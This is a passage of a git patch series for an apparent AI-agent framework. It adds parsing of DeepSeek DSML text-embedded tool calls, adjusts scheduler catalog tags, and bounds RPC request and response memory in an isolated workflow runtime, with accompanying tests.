'flocks_skills': - return stringValue(input, 'args'); + return stringValue(input, 'query', 'source', 'skill_name'); case 'memory_get': case 'memory_write': return stringValue(input, 'path'); + case 'schedule_task': + if (input.action === 'create') { + return joinDetail( + stringValue(input, 'title'), + stringValue(input, 'cron_description', 'run_at', 'cron', 'schedule'), + ); + } + if (input.action === 'list') { + return joinDetail( + stringValue(input, 'resource_type'), + stringValue(input, 'status'), + ); + } + return joinDetail( + stringValue(input, 'title', 'task_id'), + stringValue(input, 'resource_type'), + ); case 'schedule_task_create': return joinDetail( stringValue(input, 'title'), From b6e35af8e805249aab4fd50e9f8a6424e9330aa1 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Fri, 7 Aug 2026 15:18:09 +0800 Subject: [PATCH 26/67] fix(tools): distinguish scheduler catalog tags --- flocks/tool/catalog.py | 2 +- tests/tool/test_tool_catalog.py | 9 +++++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/flocks/tool/catalog.py b/flocks/tool/catalog.py index 67577e910..40cffccb2 100644 --- a/flocks/tool/catalog.py +++ b/flocks/tool/catalog.py @@ -38,7 +38,7 @@ class ToolCatalogMetadata(BaseModel): "websearch": ["web", "research"], "delegate_task": ["agent", "delegation"], "task": ["agent", "delegation"], - "schedule_task": ["scheduled-task", "task-management"], + "schedule_task": ["scheduled-task", "scheduler-management"], "todo": ["task-management", "progress-tracking"], "run_workflow": ["workflow", "execution"], "run_workflow_node": ["workflow", "execution"], diff --git a/tests/tool/test_tool_catalog.py b/tests/tool/test_tool_catalog.py index fc875af1d..f9e440ad7 100644 --- a/tests/tool/test_tool_catalog.py +++ b/tests/tool/test_tool_catalog.py @@ -86,6 +86,15 @@ def test_task_tool_tags_reflect_agent_delegation() -> None: assert "planning" not in metadata.tags +def test_schedule_task_and_todo_use_distinct_management_tags() -> None: + schedule_metadata = get_tool_catalog_metadata("schedule_task") + todo_metadata = get_tool_catalog_metadata("todo") + + assert "scheduler-management" in schedule_metadata.tags + assert "task-management" not in schedule_metadata.tags + assert "task-management" in todo_metadata.tags + + def test_explicit_tags_are_merged_with_defaults() -> None: info = ToolInfo( name="websearch", From 6bf41b63e172656a16683fb47cb5b756c34e1e9d Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Fri, 7 Aug 2026 15:28:05 +0800 Subject: [PATCH 27/67] fix: parse DeepSeek DSML tool calls --- flocks/session/streaming/stream_processor.py | 194 ++++++++++++++++++- tests/session/test_stream_processor.py | 102 ++++++++++ 2 files changed, 292 insertions(+), 4 deletions(-) diff --git a/flocks/session/streaming/stream_processor.py b/flocks/session/streaming/stream_processor.py index 05397ab4a..c331e0d3c 100644 --- a/flocks/session/streaming/stream_processor.py +++ b/flocks/session/streaming/stream_processor.py @@ -1481,15 +1481,20 @@ async def _handle_text_end(self, event: TextEndEvent) -> None: # Intercept text-embedded tool calls produced by models that hallucinate # tool invocations as text rather than using the native API tool-calling # mechanism. Two formats are supported: - # 1. XML: {"name":"…","input":{…}} - # 2. JSON: [{"tool_name":"…","parameters":{…}}] + # 1. XML: {"name":"...","input":{...}} + # 2. DSML: <｜DSML｜tool_calls>... + # 3. JSON: [{"tool_name":"...","parameters":{...}}] # Parse, execute, and strip them so the conversation loop continues # correctly and no raw markup/JSON appears in the UI. raw_text = self.current_text_part.text all_text_tool_calls: list[dict] = [] cleaned = raw_text - if "" in cleaned or "" in cleaned: + if ( + "" in cleaned + or "" in cleaned + or self._contains_dsml_tool_markup(cleaned) + ): cleaned, xml_calls = self._parse_xml_text_tool_calls(cleaned) all_text_tool_calls.extend(xml_calls) @@ -1515,7 +1520,11 @@ async def _handle_text_end(self, event: TextEndEvent) -> None: input=tc["input"], )) self._text_tool_calls_executed = True - elif "" in raw_text or "" in raw_text: + elif ( + "" in raw_text + or "" in raw_text + or self._contains_dsml_tool_markup(raw_text) + ): log.warn("stream.text_tool_use_xml_stripped", { "session_id": self.session_id, "reason": "found XML tool-call markup but could not parse any valid tool calls", @@ -1597,10 +1606,53 @@ def _compute_visible_delta(previous: str, current: str) -> str: return current[len(previous):] return current + _DSML_NAMESPACE_RE = r"(?:\|\s*\|\s*DSML\s*\|\s*\||\|\s*DSML\s*\||｜\s*DSML\s*｜)" + _DSML_TAG_RE = re.compile( + r"<\s*(/?)\s*" + _DSML_NAMESPACE_RE + r"\s*([A-Za-z_][\w]*)\b([^>]*)>", + re.DOTALL | re.IGNORECASE, + ) + _DSML_COMPLETE_BLOCK_RE = re.compile( + r"<\s*" + _DSML_NAMESPACE_RE + r"\s*(?:tool_use|tool_calls|tool_result)\b[^>]*>" + r".*?" + r"", + re.DOTALL | re.IGNORECASE, + ) + _DSML_COMPLETE_INVOKE_RE = re.compile( + r"<\s*" + _DSML_NAMESPACE_RE + r"\s*invoke\b[^>]*>" + r".*?" + r"", + re.DOTALL | re.IGNORECASE, + ) + _DSML_OPEN_BLOCK_RE = re.compile( + r"<\s*" + _DSML_NAMESPACE_RE + r"\s*(?:tool_use|tool_calls|tool_result|invoke)\b", + re.IGNORECASE, + ) + + @classmethod + def _contains_dsml_tool_markup(cls, text: str) -> bool: + return bool(cls._DSML_OPEN_BLOCK_RE.search(text)) + + @classmethod + def _normalize_dsml_tags(cls, text: str) -> str: + def replace(match: re.Match[str]) -> str: + closing = "/" if match.group(1) else "" + tag_name = match.group(2).lower() + attrs = "" if closing else match.group(3) + return f"<{closing}dsml:{tag_name}{attrs}>" + + return cls._DSML_TAG_RE.sub(replace, text) + + @classmethod + def _strip_dsml_blocks(cls, text: str) -> str: + text = cls._DSML_COMPLETE_BLOCK_RE.sub("", text) + return cls._DSML_COMPLETE_INVOKE_RE.sub("", text) + @staticmethod def _sanitize_streaming_text_for_display(text: str) -> str: visible = text + visible = StreamProcessor._strip_dsml_blocks(visible) + block_patterns = [ re.compile(r".*?", re.DOTALL), re.compile(r".*?", re.DOTALL), @@ -1624,6 +1676,10 @@ def _sanitize_streaming_text_for_display(text: str) -> str: break start = visible.find(start_tag, end + len(end_tag)) + dsml_start = StreamProcessor._DSML_OPEN_BLOCK_RE.search(visible) + if dsml_start: + truncate_at = dsml_start.start() if truncate_at is None else min(truncate_at, dsml_start.start()) + if truncate_at is not None: visible = visible[:truncate_at] @@ -1731,14 +1787,144 @@ def _parse_xml_text_tool_calls(self, text: str) -> tuple[str, list[dict]]: "input": raw_input, }) + dsml_calls = self._parse_dsml_text_tool_calls(text) + tool_calls.extend(dsml_calls) + # Strip and blocks from visible text cleaned = tool_use_re.sub("", text) cleaned = minimax_tool_call_re.sub("", cleaned) cleaned = tool_result_re.sub("", cleaned) + cleaned = self._strip_dsml_blocks(cleaned) cleaned = re.sub(r'\n{3,}', '\n\n', cleaned).strip() return cleaned, tool_calls + def _parse_dsml_text_tool_calls(self, text: str) -> list[dict]: + """Extract tool calls from DeepSeek-style DSML text blocks.""" + normalized = self._normalize_dsml_tags(text) + tool_calls: list[dict] = [] + + for match in re.finditer( + r"]*>(.*?)", + normalized, + re.DOTALL | re.IGNORECASE, + ): + body = match.group(1).strip() + if not body or not body[:1] in "{[": + continue + + try: + data = json.loads(body) + except (json.JSONDecodeError, ValueError): + continue + + if isinstance(data, dict): + candidates: list[Any] = [data] + if isinstance(data.get("tool_calls"), list): + candidates = data["tool_calls"] + elif isinstance(data, list): + candidates = data + else: + candidates = [] + + for item in candidates: + parsed = self._coerce_text_tool_call_dict(item) + if parsed: + tool_calls.append(parsed) + + for match in re.finditer( + r"]*)>(.*?)", + normalized, + re.DOTALL | re.IGNORECASE, + ): + attrs = self._parse_xml_attrs(match.group(1)) + name = str(attrs.get("name") or "").strip() + if not name: + continue + + raw_input: dict[str, Any] = {} + invoke_body = match.group(2) + for param_match in re.finditer( + r"]*)>(.*?)", + invoke_body, + re.DOTALL | re.IGNORECASE, + ): + param_attrs = self._parse_xml_attrs(param_match.group(1)) + param_name = str(param_attrs.get("name") or "").strip() + if not param_name: + continue + + param_value = param_match.group(2).strip() + parsed_value: Any = param_value + if str(param_attrs.get("string") or "").lower() != "true" and param_value: + try: + parsed_value = json.loads(param_value) + except (json.JSONDecodeError, ValueError): + parsed_value = param_value + raw_input[param_name] = parsed_value + + tool_calls.append({ + "id": Identifier.create("call"), + "name": name, + "input": raw_input, + }) + + return tool_calls + + @staticmethod + def _parse_xml_attrs(raw_attrs: str) -> dict[str, str]: + attrs: dict[str, str] = {} + for match in re.finditer(r"([A-Za-z_][\w:-]*)\s*=\s*(\"([^\"]*)\"|'([^']*)')", raw_attrs): + attrs[match.group(1)] = match.group(3) if match.group(3) is not None else match.group(4) + return attrs + + @staticmethod + def _coerce_text_tool_call_dict(data: Any) -> Optional[dict]: + if not isinstance(data, dict): + return None + + function_data = data.get("function") if isinstance(data.get("function"), dict) else {} + name = next( + ( + value for value in ( + data.get("name"), + data.get("tool_name"), + data.get("tool"), + function_data.get("name"), + ) + if value + ), + None, + ) + if not isinstance(name, str) or not name.strip(): + return None + + raw_input = next( + ( + value for value in ( + data.get("input"), + data.get("parameters"), + data.get("arguments"), + function_data.get("arguments"), + ) + if value is not None + ), + {}, + ) + if isinstance(raw_input, str): + try: + raw_input = json.loads(raw_input) + except (json.JSONDecodeError, ValueError): + raw_input = {} + if not isinstance(raw_input, dict): + raw_input = {} + + return { + "id": Identifier.create("call"), + "name": name.strip(), + "input": raw_input, + } + def _parse_json_text_tool_calls(self, text: str) -> tuple[str, list[dict]]: """ Detect and extract JSON-array tool calls from text content. diff --git a/tests/session/test_stream_processor.py b/tests/session/test_stream_processor.py index 3776136ab..1328fe914 100644 --- a/tests/session/test_stream_processor.py +++ b/tests/session/test_stream_processor.py @@ -221,6 +221,108 @@ async def test_text_end_parses_minimax_tool_call_xml(self): assert proc._text_tool_calls_executed is True assert proc.get_text_content() == "" + @pytest.mark.asyncio + async def test_text_delta_hides_dsml_tool_call_from_published_text(self): + event_callback = AsyncMock() + proc = _make_processor(event_callback=event_callback) + + await proc.process_event(TextStartEvent()) + await proc.process_event(TextDeltaEvent(text="先查询一下")) + await proc.process_event(TextDeltaEvent(text=""" +< | DSML | tool_use> +{"name":"bash","input":{"command":"ls /root/flocks/plugins/skills/ | head -50"}} + +""")) + + published_texts = [ + call.args[1]["part"]["text"] + for call in event_callback.await_args_list + if call.args[0] == "message.part.updated" and "part" in call.args[1] + ] + published_deltas = [ + call.args[1].get("delta", "") + for call in event_callback.await_args_list + if call.args[0] == "message.part.updated" + ] + + assert published_texts[-1] == "先查询一下" + assert all("DSML" not in text for text in published_texts) + assert all("DSML" not in delta for delta in published_deltas) + + @pytest.mark.asyncio + async def test_text_end_parses_deepseek_dsml_json_tool_use(self): + proc = _make_processor() + + with ( + patch("flocks.session.streaming.stream_processor.Message.store_part", new=AsyncMock()), + patch.object(proc, "_handle_tool_call", new=AsyncMock()) as mock_handle_tool_call, + ): + await proc.process_event(TextStartEvent()) + await proc.process_event(TextDeltaEvent(text=""" +< | DSML | tool_use> +{"name":"bash","input":{"command":"RUN_ROOT=/root/flocks/workspace/outputs/2026-08-03/risk-agent/ses_03991c1b0ffeb5KNPtPsetG6Jq && mkdir -p $RUN_ROOT/agent-notes"}} + +""")) + await proc.process_event(TextEndEvent()) + + mock_handle_tool_call.assert_awaited_once() + tool_event = mock_handle_tool_call.await_args.args[0] + assert tool_event.tool_name == "bash" + assert tool_event.input == { + "command": "RUN_ROOT=/root/flocks/workspace/outputs/2026-08-03/risk-agent/ses_03991c1b0ffeb5KNPtPsetG6Jq && mkdir -p $RUN_ROOT/agent-notes" + } + assert proc._text_tool_calls_executed is True + assert proc.get_text_content() == "" + + @pytest.mark.asyncio + async def test_text_end_parses_deepseek_dsml_invoke_tool_calls(self): + proc = _make_processor() + + with ( + patch("flocks.session.streaming.stream_processor.Message.store_part", new=AsyncMock()), + patch.object(proc, "_handle_tool_call", new=AsyncMock()) as mock_handle_tool_call, + ): + await proc.process_event(TextStartEvent()) + await proc.process_event(TextDeltaEvent(text=""" +<｜DSML｜tool_calls> +<｜DSML｜invoke name="search"> +<｜DSML｜parameter name="q" string="true">weather +<｜DSML｜parameter name="limit" string="false">3 + + +""")) + await proc.process_event(TextEndEvent()) + + mock_handle_tool_call.assert_awaited_once() + tool_event = mock_handle_tool_call.await_args.args[0] + assert tool_event.tool_name == "search" + assert tool_event.input == {"q": "weather", "limit": 3} + assert proc._text_tool_calls_executed is True + assert proc.get_text_content() == "" + + @pytest.mark.asyncio + async def test_text_end_parses_deepseek_dsml_ascii_pipe_tool_calls(self): + proc = _make_processor() + + with ( + patch("flocks.session.streaming.stream_processor.Message.store_part", new=AsyncMock()), + patch.object(proc, "_handle_tool_call", new=AsyncMock()) as mock_handle_tool_call, + ): + await proc.process_event(TextStartEvent()) + await proc.process_event(TextDeltaEvent(text=""" +<||DSML||tool_calls> +[{"tool_name":"bash","parameters":{"command":"pwd"}}] + +""")) + await proc.process_event(TextEndEvent()) + + mock_handle_tool_call.assert_awaited_once() + tool_event = mock_handle_tool_call.await_args.args[0] + assert tool_event.tool_name == "bash" + assert tool_event.input == {"command": "pwd"} + assert proc._text_tool_calls_executed is True + assert proc.get_text_content() == "" + @pytest.mark.asyncio async def test_text_placeholder_keeps_text_before_tool_in_stored_order(self): proc = _make_processor() From b4c5e9df297a34a001cb4d66fba29d6d7b9d0620 Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Fri, 7 Aug 2026 15:44:47 +0800 Subject: [PATCH 28/67] fix(workflow): bound RPC response memory Keep the 32-worker default while enforcing aggregate request and response budgets, bounded response encoding, and safe limit combinations. Continuously drain invalid UTF-8 stderr with bounded tail retention and add concurrency, memory, configuration, and compatibility regressions. --- flocks/workflow/engine.py | 6 + flocks/workflow/repl_runtime.py | 344 +++++++++++++++--- flocks/workflow/runner.py | 8 + .../sandbox/test_workflow_sandbox_runtime.py | 1 + .../workflow/test_workflow_execution_plan.py | 4 + tests/workflow/test_workflow_node_timeout.py | 206 ++++++++++- 6 files changed, 513 insertions(+), 56 deletions(-) diff --git a/flocks/workflow/engine.py b/flocks/workflow/engine.py index 4dbdf0b5d..151d690ed 100644 --- a/flocks/workflow/engine.py +++ b/flocks/workflow/engine.py @@ -196,6 +196,8 @@ def _get_isolated_runtime(self) -> "Runtime": cleanup_globals_after_execute=self.runtime.cleanup_globals_after_execute, enable_cancel_trace=self.runtime.enable_cancel_trace, isolated_rpc_max_bytes=self.runtime.isolated_rpc_max_bytes, + isolated_rpc_max_inflight_bytes=self.runtime.isolated_rpc_max_inflight_bytes, + isolated_rpc_max_response_bytes=self.runtime.isolated_rpc_max_response_bytes, isolated_rpc_max_workers=self.runtime.isolated_rpc_max_workers, ) return self.runtime @@ -857,6 +859,8 @@ def _execute_node( inherited_fd_keys=tuple(node.process_inherit_fd_keys), retained_fd_keys=tuple(node.process_retain_fd_keys), rpc_max_bytes=_rt.isolated_rpc_max_bytes, + rpc_max_inflight_bytes=_rt.isolated_rpc_max_inflight_bytes, + rpc_max_response_bytes=_rt.isolated_rpc_max_response_bytes, rpc_max_workers=_rt.isolated_rpc_max_workers, ) return _rt.execute(node.code, inputs) @@ -880,6 +884,8 @@ def _execute_node( inherited_fd_keys=tuple(node.process_inherit_fd_keys), retained_fd_keys=tuple(node.process_retain_fd_keys), rpc_max_bytes=_rt.isolated_rpc_max_bytes, + rpc_max_inflight_bytes=_rt.isolated_rpc_max_inflight_bytes, + rpc_max_response_bytes=_rt.isolated_rpc_max_response_bytes, rpc_max_workers=_rt.isolated_rpc_max_workers, ) return _rt.execute(code, inputs) diff --git a/flocks/workflow/repl_runtime.py b/flocks/workflow/repl_runtime.py index 317777ecb..bd643395c 100644 --- a/flocks/workflow/repl_runtime.py +++ b/flocks/workflow/repl_runtime.py @@ -15,6 +15,7 @@ import threading import traceback import uuid +from collections import deque from concurrent.futures import ThreadPoolExecutor as _ThreadPoolExecutor from concurrent.futures import TimeoutError as _FuturesTimeoutError from dataclasses import dataclass, field @@ -35,20 +36,140 @@ def reset(self) -> None: _RPC_MAX_BYTES = 4 * 1024 * 1024 _HOST_PROCESS_RPC_MAX_BYTES = 64 * 1024 * 1024 +_HOST_PROCESS_RPC_MAX_INFLIGHT_BYTES = 64 * 1024 * 1024 +_HOST_PROCESS_RPC_MAX_RESPONSE_BYTES = 2 * 1024 * 1024 _HOST_PROCESS_RPC_MAX_WORKERS = 32 +_HOST_PROCESS_RPC_MIN_FRAME_BYTES = 512 +_HOST_PROCESS_RPC_QUEUE_SIZE = 4 +_HOST_PROCESS_STDERR_MAX_BYTES = 1024 * 1024 _WORKFLOW_SITE_PACKAGES = "/workspace/.flocks/workflow/site-packages" _TOOL_CANCEL_CHECKER_INSTALL_LOCK = threading.Lock() -def _drain_text_stream(stream: TextIO, chunks: list[str]) -> None: +class _RPCFrameTooLarge(ValueError): + pass + + +class _InflightByteBudget: + def __init__(self, limit: Optional[int]): + self._limit = limit + self._used = 0 + self._condition = threading.Condition() + + def acquire(self, size: int, stop: threading.Event) -> bool: + if self._limit is None: + return True + if size > self._limit: + return False + with self._condition: + while self._used + size > self._limit: + if stop.is_set(): + return False + self._condition.wait(timeout=0.05) + self._used += size + return True + + def release(self, size: int) -> None: + if self._limit is None: + return + with self._condition: + self._used = max(0, self._used - size) + self._condition.notify_all() + + def wake(self) -> None: + with self._condition: + self._condition.notify_all() + + +def _utf8_size_exceeds(text: str, limit: int) -> bool: + if len(text) > limit: + return True + if text.isascii(): + return False + size = 0 + for char in text: + codepoint = ord(char) + size += 1 if codepoint < 0x80 else 2 if codepoint < 0x800 else 3 if codepoint < 0x10000 else 4 + if size > limit: + return True + return False + + +def _contains_oversized_scalar(value: Any, limit: int, seen: Optional[set[int]] = None) -> bool: + if isinstance(value, str): + return _utf8_size_exceeds(value, limit) + if isinstance(value, (bytes, bytearray)): + return len(value) > limit + if isinstance(value, dict): + seen = seen or set() + marker = id(value) + if marker in seen: + return False + seen.add(marker) + try: + return any( + _contains_oversized_scalar(key, limit, seen) + or _contains_oversized_scalar(item, limit, seen) + for key, item in value.items() + ) + finally: + seen.remove(marker) + if isinstance(value, (list, tuple)): + seen = seen or set() + marker = id(value) + if marker in seen: + return False + seen.add(marker) + try: + return any(_contains_oversized_scalar(item, limit, seen) for item in value) + finally: + seen.remove(marker) + return False + + +def _json_line_with_limit(payload: Dict[str, Any], max_bytes: Optional[int]) -> str: + if max_bytes is None: + return json.dumps(payload, ensure_ascii=False, default=str) + "\n" + if _contains_oversized_scalar(payload, max_bytes): + raise _RPCFrameTooLarge(f"RPC message exceeds configured limit ({max_bytes} bytes)") + buffer = io.StringIO() + size = 1 # trailing newline + encoder = json.JSONEncoder(ensure_ascii=False, default=str) + for chunk in encoder.iterencode(payload): + remaining = max_bytes - size + if remaining < 0 or _utf8_size_exceeds(chunk, remaining): + raise _RPCFrameTooLarge(f"RPC message exceeds configured limit ({max_bytes} bytes)") + buffer.write(chunk) + size += len(chunk) if chunk.isascii() else len(chunk.encode("utf-8")) + buffer.write("\n") + return buffer.getvalue() + + +def _drain_text_stream( + stream: TextIO, + chunks: list[str], + max_bytes: int = _HOST_PROCESS_STDERR_MAX_BYTES, +) -> None: + tail: deque[tuple[str, int]] = deque() + retained_bytes = 0 + truncated = False try: while True: - line = stream.readline() - if line == "": + chunk = stream.read(8192) + if chunk == "": break - chunks.append(line) + chunk_bytes = len(chunk.encode("utf-8", errors="replace")) + tail.append((chunk, chunk_bytes)) + retained_bytes += chunk_bytes + while retained_bytes > max_bytes and tail: + _, removed_bytes = tail.popleft() + retained_bytes -= removed_bytes + truncated = True except Exception: - return + pass + if truncated: + chunks.append(f"[stderr truncated to last {max_bytes} bytes]\n") + chunks.extend(chunk for chunk, _ in tail) class _ThreadScopedCancelChecker: @@ -104,6 +225,8 @@ class PythonExecRuntime(Runtime): cleanup_globals_after_execute: bool = False enable_cancel_trace: bool = True isolated_rpc_max_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_BYTES + isolated_rpc_max_inflight_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_INFLIGHT_BYTES + isolated_rpc_max_response_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_RESPONSE_BYTES isolated_rpc_max_workers: int = _HOST_PROCESS_RPC_MAX_WORKERS _RUNTIME_GLOBAL_KEYS: ClassVar[frozenset[str]] = frozenset( @@ -330,6 +453,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st stderr=subprocess.PIPE, text=True, encoding="utf-8", + errors="replace", bufsize=1, env={**os.environ, "LC_ALL": "C.UTF-8", "LANG": "C.UTF-8"}, ) @@ -685,8 +809,14 @@ def _build_python_cmd( ) return f"{shlex.quote(python_executable)} -I -c {shlex.quote(wrapped)}" - def _write_json_line(self, stream: TextIO, payload: Dict[str, Any]) -> None: - stream.write(json.dumps(payload, ensure_ascii=False, default=str) + "\n") + def _write_json_line( + self, + stream: TextIO, + payload: Dict[str, Any], + *, + max_bytes: Optional[int] = None, + ) -> None: + stream.write(_json_line_with_limit(payload, max_bytes)) stream.flush() def _parse_json_line(self, raw_line: str) -> Optional[Dict[str, Any]]: @@ -808,6 +938,8 @@ class HostProcessPythonExecRuntime(SandboxPythonExecRuntime): inherited_fd_keys: Tuple[str, ...] = () retained_fd_keys: Tuple[str, ...] = () rpc_max_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_BYTES + rpc_max_inflight_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_INFLIGHT_BYTES + rpc_max_response_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_RESPONSE_BYTES rpc_max_workers: int = _HOST_PROCESS_RPC_MAX_WORKERS def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], str]: @@ -828,9 +960,55 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st if rpc_max_bytes is not None: if type(rpc_max_bytes) is not int or rpc_max_bytes <= 0: raise NodeExecutionError(node_id="", message="rpc_max_bytes must be None or a positive integer") + rpc_max_inflight_bytes = self.rpc_max_inflight_bytes + if rpc_max_inflight_bytes is not None: + if type(rpc_max_inflight_bytes) is not int or rpc_max_inflight_bytes <= 0: + raise NodeExecutionError( + node_id="", + message="rpc_max_inflight_bytes must be None or a positive integer", + ) + if rpc_max_bytes is not None and rpc_max_bytes > rpc_max_inflight_bytes: + raise NodeExecutionError( + node_id="", + message="rpc_max_bytes cannot exceed rpc_max_inflight_bytes", + ) rpc_max_workers = self.rpc_max_workers - if type(rpc_max_workers) is not int or rpc_max_workers <= 0: - raise NodeExecutionError(node_id="", message="rpc_max_workers must be a positive integer") + if type(rpc_max_workers) is not int or not 1 <= rpc_max_workers <= _HOST_PROCESS_RPC_MAX_WORKERS: + raise NodeExecutionError( + node_id="", + message=f"rpc_max_workers must be an integer between 1 and {_HOST_PROCESS_RPC_MAX_WORKERS}", + ) + rpc_frame_limit = rpc_max_bytes if rpc_max_bytes is not None else rpc_max_inflight_bytes + if rpc_frame_limit is not None and rpc_frame_limit < _HOST_PROCESS_RPC_MIN_FRAME_BYTES: + raise NodeExecutionError( + node_id="", + message=f"effective RPC frame limit must be at least {_HOST_PROCESS_RPC_MIN_FRAME_BYTES} bytes", + ) + rpc_max_response_bytes = self.rpc_max_response_bytes + if rpc_max_response_bytes is not None: + if type(rpc_max_response_bytes) is not int or rpc_max_response_bytes <= 0: + raise NodeExecutionError( + node_id="", + message="rpc_max_response_bytes must be None or a positive integer", + ) + response_limits = [limit for limit in (rpc_frame_limit, rpc_max_response_bytes) if limit is not None] + rpc_response_limit = min(response_limits) if response_limits else None + if rpc_response_limit is not None and rpc_response_limit < _HOST_PROCESS_RPC_MIN_FRAME_BYTES: + raise NodeExecutionError( + node_id="", + message=f"effective RPC response limit must be at least {_HOST_PROCESS_RPC_MIN_FRAME_BYTES} bytes", + ) + if rpc_max_inflight_bytes is not None: + if rpc_response_limit is None: + raise NodeExecutionError( + node_id="", + message="RPC responses must have a size limit when rpc_max_inflight_bytes is configured", + ) + if rpc_response_limit * rpc_max_workers > rpc_max_inflight_bytes: + raise NodeExecutionError( + node_id="", + message="rpc_max_response_bytes and rpc_max_workers exceed rpc_max_inflight_bytes", + ) inherited_fds = self._resolve_inherited_fds(inputs) retained_fds = self._resolve_retained_fds(inputs) @@ -888,6 +1066,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st stderr=subprocess.PIPE, text=True, encoding="utf-8", + errors="replace", bufsize=1, env={**os.environ, "LC_ALL": "C.UTF-8", "LANG": "C.UTF-8"}, start_new_session=(os.name != "nt"), @@ -919,9 +1098,13 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st bridge_closed = threading.Event() stdout_reader_stop = threading.Event() bridge_errors: list[str] = [] - stdout_lines: queue.Queue[Optional[str]] = queue.Queue(maxsize=rpc_max_workers) + inflight_budget = _InflightByteBudget(rpc_max_inflight_bytes) + response_budget = _InflightByteBudget(rpc_max_inflight_bytes) + stdout_lines: queue.Queue[Optional[tuple[bytes, int]]] = queue.Queue( + maxsize=min(rpc_max_workers, _HOST_PROCESS_RPC_QUEUE_SIZE) + ) - def _queue_stdout_line(line: Optional[str]) -> bool: + def _queue_stdout_line(line: Optional[tuple[bytes, int]]) -> bool: while not stdout_reader_stop.is_set(): try: stdout_lines.put(line, timeout=0.05) @@ -933,19 +1116,22 @@ def _queue_stdout_line(line: Optional[str]) -> bool: def _read_stdout() -> None: try: while True: - if rpc_max_bytes is None: + if rpc_frame_limit is None: raw_line = proc.stdout.buffer.readline() else: - raw_line = proc.stdout.buffer.readline(rpc_max_bytes + 1) + raw_line = proc.stdout.buffer.readline(rpc_frame_limit + 1) if raw_line == b"": break - if rpc_max_bytes is not None and len(raw_line) > rpc_max_bytes: + frame_bytes = len(raw_line) + if rpc_frame_limit is not None and frame_bytes > rpc_frame_limit: bridge_errors.append( - f"Isolated host RPC message exceeds configured limit ({rpc_max_bytes} bytes)" + f"Isolated host RPC message exceeds configured limit ({rpc_frame_limit} bytes)" ) break - line = raw_line.decode(proc.stdout.encoding or "utf-8") - if not _queue_stdout_line(line): + if not inflight_budget.acquire(frame_bytes, stdout_reader_stop): + return + if not _queue_stdout_line((raw_line, frame_bytes)): + inflight_budget.release(frame_bytes) return except Exception as exc: bridge_errors.append(f"Isolated host RPC bridge read failed: {exc}") @@ -972,72 +1158,122 @@ def _read_stdout() -> None: def _rpc_cancel_requested() -> bool: return bridge_closed.is_set() or self._cancel_requested() - def _handle_rpc(message: Dict[str, Any]) -> None: + def _handle_rpc(message: Dict[str, Any], request_bytes: int) -> None: + response_reservation = rpc_response_limit or 0 + response_reserved = False try: + if not response_budget.acquire(response_reservation, bridge_closed): + return + response_reserved = True response = self._handle_rpc_request( msg=message, token=token, cancel_checker=_rpc_cancel_requested, ) + response_error: Optional[str] = None + try: + response_line = _json_line_with_limit(response, rpc_response_limit) + except _RPCFrameTooLarge: + response_error = "RPC response exceeds configured limit" + except Exception as exc: + response_error = f"RPC response serialization failed ({type(exc).__name__})" + finally: + response = None + if response_error is not None: + try: + response_line = _json_line_with_limit( + { + "type": "rpc_result", + "token": token, + "id": str(message.get("id") or ""), + "ok": False, + "error": response_error, + }, + rpc_response_limit, + ) + except ValueError: + return try: with stdin_lock: if not bridge_closed.is_set() and proc.poll() is None: - self._write_json_line(proc.stdin, response) + proc.stdin.write(response_line) + proc.stdin.flush() except (BrokenPipeError, OSError, ValueError): return finally: + if response_reserved: + response_budget.release(response_reservation) + inflight_budget.release(request_bytes) rpc_slots.release() try: - self._write_json_line(proc.stdin, {"type": "init", "token": token, "inputs": child_inputs}) + try: + self._write_json_line( + proc.stdin, + {"type": "init", "token": token, "inputs": child_inputs}, + max_bytes=rpc_frame_limit, + ) + except _RPCFrameTooLarge as exc: + bridge_errors.append(str(exc)) + self._terminate_process(proc) while True: if self._cancel_requested(): cancelled = True self._terminate_process(proc) break try: - line = stdout_lines.get(timeout=0.05) + item = stdout_lines.get(timeout=0.05) except queue.Empty: continue - if line is None: + if item is None: break - msg = self._parse_json_line(line) - if msg is None: - continue - msg_type = str(msg.get("type") or "").strip().lower() - if msg_type == "rpc": - slot_acquired = False - while not slot_acquired: - slot_acquired = rpc_slots.acquire(timeout=0.05) - if slot_acquired: - break - if self._cancel_requested(): - cancelled = True - self._terminate_process(proc) - break - if proc.poll() is not None: - bridge_closed.set() + raw_line, frame_bytes = item + release_frame = True + try: + line = raw_line.decode(proc.stdout.encoding or "utf-8") + msg = self._parse_json_line(line) + if msg is None: + continue + msg_type = str(msg.get("type") or "").strip().lower() + if msg_type == "rpc": + slot_acquired = False + while not slot_acquired: + slot_acquired = rpc_slots.acquire(timeout=0.05) + if slot_acquired: + break + if self._cancel_requested(): + cancelled = True + self._terminate_process(proc) + break + if proc.poll() is not None: + bridge_closed.set() + break + if bridge_closed.is_set(): + break + if cancelled: break + if not slot_acquired: + continue if bridge_closed.is_set(): - break - if cancelled: - break - if not slot_acquired: - continue - if bridge_closed.is_set(): - rpc_slots.release() - continue - try: - rpc_pool.submit(_handle_rpc, msg) - except Exception: - rpc_slots.release() - raise - elif msg_type == "final" and msg.get("token") == token: - payload = msg.get("payload") - final_payload = payload if isinstance(payload, dict) else {} + rpc_slots.release() + continue + try: + rpc_pool.submit(_handle_rpc, msg, frame_bytes) + release_frame = False + except Exception: + rpc_slots.release() + raise + elif msg_type == "final" and msg.get("token") == token: + payload = msg.get("payload") + final_payload = payload if isinstance(payload, dict) else {} + finally: + if release_frame: + inflight_budget.release(frame_bytes) finally: bridge_closed.set() stdout_reader_stop.set() + inflight_budget.wake() + response_budget.wake() rpc_pool.shutdown( wait=final_payload is not 